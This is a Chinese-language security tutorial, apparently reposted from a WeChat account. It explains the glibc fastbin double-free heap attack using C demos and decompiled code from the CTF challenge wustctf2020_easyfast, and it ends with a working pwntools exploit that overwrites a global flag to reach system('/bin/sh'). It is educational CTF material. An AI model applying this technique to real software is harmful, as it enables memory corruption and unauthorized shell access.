Fastbin Attack

admin 2024年11月24日12:07:11评论11 views字数 4429阅读14分45秒阅读模式

Fastbin Attack

简介

基于 fastbin 机制的漏洞利用方法

前提

存在堆溢出、use-after-free 等能控制 chunk 内容的漏洞

漏洞发生于 fastbin 类型的 chunk 中

分类

  1. Fastbin Double Free
  2. House of Spirit
  3. Alloc to Stack
  4. Arbitrary Alloc

前两种主要漏洞侧重于利用 free 函数释放真的 chunk 或伪造的 chunk,然后再次申请 chunk 进行攻击
后两种侧重于故意修改 fd 指针,直接利用 malloc 申请指定位置 chunk 进行攻击。

原理

fastbin attack 存在的原因在于 fastbin 是使用单链表来维护释放的堆块的,并且由 fastbin 管理的 chunk 即使被释放,其 next_chunk 的 prev_inuse 位也不会被清空。

下面用一段程序加gdb调试来说明

#include <stdio.h>
#include <stdlib.h>

int main(void)
{
    void *chunk1,*chunk2,*chunk3;
    chunk1=malloc(0x10);
    chunk2=malloc(0x10);
    chunk3=malloc(0x10);

    free(chunk1);
    free(chunk2);
    free(chunk1);
    return 0;
}
  • gcc -g name.c -o name
  • -g 在gdb中带着源码调试
  • -o 命名

Fastbin Attack

从下面的gdb调试中可以很好的看到这一点,我们申请的是0x10大小的堆块,加上chunk头的0x10和in_use位中p位的1,最后大小就是0x21

Fastbin Attack

Fastbin Attack

画一下chunk的结构

Fastbin Attack

一般来说free掉chunk之后prev_inuse的p为应该是0,但由 fastbin 管理的 chunk 即使被释放后p位仍然为1

Fastbin Double Free

简介

Fastbin Double Free 是指 fastbin 的 chunk 可以被多次释放,因此可以在 fastbin 链表中存在多次。这样导致的后果是多次分配可以从 fastbin 链表中取出同一个堆块,相当于多个指针指向同一个堆块,结合堆块的数据内容可以实现类似于类型混淆 (type confused) 的效果。

利用的原理

fastbin 的堆块被释放后 next_chunk 的 pre_inuse 位不会被清空

fastbin 在执行 free 的时候仅验证了 main_arena 直接指向的块,即链表指针头部的块。对于链表后面的块,并没有进行验证。

#include <stdio.h>
#include <stdlib.h>

typedef struct _chunk
{
    long long pre_size;
    long long size;
    long long fd;
    long long bk;
} CHUNK,*PCHUNK;

CHUNK bss_chunk;

int main(void)
{
    void *chunk1,*chunk2,*chunk3;
    void *chunk_a,*chunk_b;

    bss_chunk.size=0x21;
    chunk1=malloc(0x10);
    chunk2=malloc(0x10);

    free(chunk1);
    free(chunk2);
    free(chunk1);

    chunk_a=malloc(0x10);
    *(long long *)chunk_a=&bss_chunk;
    malloc(0x10);
    malloc(0x10);
    chunk_b=malloc(0x10);
    printf("%p",chunk_b);
    return 0;
}

申请两个chunk后,按顺序free掉chunk1,chunk2,chunk1,形成下面的链表

Fastbin Attack

然后申请chunk1,把chunk1的fd指针改成bss_chunk的地址

Fastbin Attack

再申请两个堆块就可以利用bss_chunk

Fastbin Attack

总结一下
简单来说就是先申请了两个chunk,chunk1和chunk2,,然后先后free1、2、1,此时的fastbin链表为chunk1-->chunk2-->chunk1,然后重新申请chunk1,然后让chunk1的fd指针指向bss_chunk,此时bins中fastbin链表中队的chunk1也指向了bss_chunk,之后再陆续申请两个chunk就能控制利用bss_chunk了

例题

wustctf2020_easyfast

类型:fastbinattack double free
版本:Ubuntu16

ida

main

void sub_400ACD()
{
  char s[8]; // [rsp+0h] [rbp-20h] BYREF
  __int64 v1; // [rsp+8h] [rbp-18h]
  unsigned __int64 v2; // [rsp+18h] [rbp-8h]

  v2 = __readfsqword(0x28u);
  *(_QWORD *)s = 0LL;
  v1 = 0LL;
  while ( 1 )
  {
    puts("choice>");
    fgets(s, 8, stdin);
    switch ( atoi(s) )
    {
      case 1:
        sub_400916();  //add
        break;
      case 2:
        sub_4009D7(s, 8LL);  //delete
        break;
      case 3:
        sub_400A4D(s, 8LL);  //edit
        break;
      case 4:
        sub_400896(s, 8LL);  //backdoor
        break;
      case 5:
        exit(0);
      default:
        puts("invalid");
        break;
    }
  }
}

add

unsigned __int64 sub_400916()
{
  int v0; // eax
  int v1; // ebx
  char s[24]; // [rsp+10h] [rbp-30h] BYREF
  unsigned __int64 v4; // [rsp+28h] [rbp-18h]

  v4 = __readfsqword(0x28u);
  if ( dword_6020BC <= 3 )  //只能申请4个堆块
  {
    puts("size>");
    fgets(s, 8, stdin);
    v0 = atoi(s);
    if ( v0 && (unsigned __int64)v0 <= 120 )
    {
      v1 = dword_6020BC++;
      *(&buf + v1) = malloc(v0);
    }
    else
    {
      puts("No need");
    }
  }
  else
  {
    puts("No need");
  }
  return __readfsqword(0x28u) ^ v4;
}

delete

unsigned __int64 sub_4009D7()
{
  __int64 v1; // [rsp+8h] [rbp-28h]
  char s[24]; // [rsp+10h] [rbp-20h] BYREF
  unsigned __int64 v3; // [rsp+28h] [rbp-8h]

  v3 = __readfsqword(0x28u);
  puts("index>");
  fgets(s, 8, stdin);
  v1 = atoi(s);
  free(*(&buf + v1));   //uaf
  return __readfsqword(0x28u) ^ v3;
}

edit

unsigned __int64 sub_400A4D()
{
  __int64 v1; // [rsp+8h] [rbp-28h]
  char s[24]; // [rsp+10h] [rbp-20h] BYREF
  unsigned __int64 v3; // [rsp+28h] [rbp-8h]

  v3 = __readfsqword(0x28u);
  puts("index>");
  fgets(s, 8, stdin);
  v1 = atoi(s);
  read(0, *(&buf + v1), 8uLL);
  return __readfsqword(0x28u) ^ v3;
}

backdoor

int sub_400896()
{
  int result; // eax

  if ( qword_602090 )  //储存的值是1   改成0就可以往下执行,就可以提权了
    result = puts("Not yet");
  else
    result = system("/bin/sh");
  return result;
}

qword_602090

.data:0000000000602090 qword_602090    dq 1                    ; DATA XREF: sub_400896+4↑r
.data:0000000000602090 _data           ends
.data:0000000000602090

double free的原理

在删除堆的时候没有对指针进行归零操作,然后重复free同一个chunk试其的fd形成一个循环 此时我们就可以通过在第二次申请该chunk的时候让同一个chunk拥有写入和执行的权限

思路

通过存在的uaf漏洞在fastbin链表中去进行堆块的构造,让第一个free掉的chunk的fd指针指向需要修改的bss段数值的-0x10的位置(这里就是个伪造一个堆块)

Fastbin Attack

然后把伪造的堆块当成真正的chunk去申请,然后再修改这个伪造chunk的fd指针处的数值,就能成功的getshell

Fastbin Attack

exp

from pwn import *

context(os='linux',arch='amd64',log_level='debug')
io=process('./pwn')

def duan():
    gdb.attach(io)
    pause()

def add(size):
    io.recvuntil(b'choice>n')
    io.sendline(b'1')
    io.recvuntil(b'size>n')
    io.sendline(str(size))

def delete(index):
    io.recvuntil(b'choice>n')
    io.sendline(b'2')
    io.recvuntil(b'index>n')
    io.sendline(str(index))

def edit(index,content):
    io.recvuntil(b'choice>n')
    io.sendline(b'3')
    io.recvuntil(b'index>n')
    io.sendline(str(index))
    io.send(content)

def backdoor():
    io.recvuntil(b'choice>n')
    io.sendline(b'4')


#io.recvuntil("_\_\ n")
add(0x40)  #chunk0
add(0x20)  #chunk1

delete(0)  #free chunk0
#duan()
edit(0,p64(0x602080))

add(0x40)
add(0x40)

edit(3,p64(0))
backdoor()
io.interactive()

参考

https://ctf-wiki.org/pwn/linux/user-mode/heap/ptmalloc2/fastbin-attack/

来源先知社区的【F4atherw1t师傅

注:如有侵权请联系删除

Fastbin Attack

如需进群进行技术交流,请扫该二维码

Fastbin Attack

原文始发于微信公众号(衡阳信安):投稿-Fastbin Attack

免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2024年11月24日12:07:11
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   Fastbin Attackhttps://cn-sec.com/archives/1620857.html
                  免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉.

发表评论

匿名网友 填写信息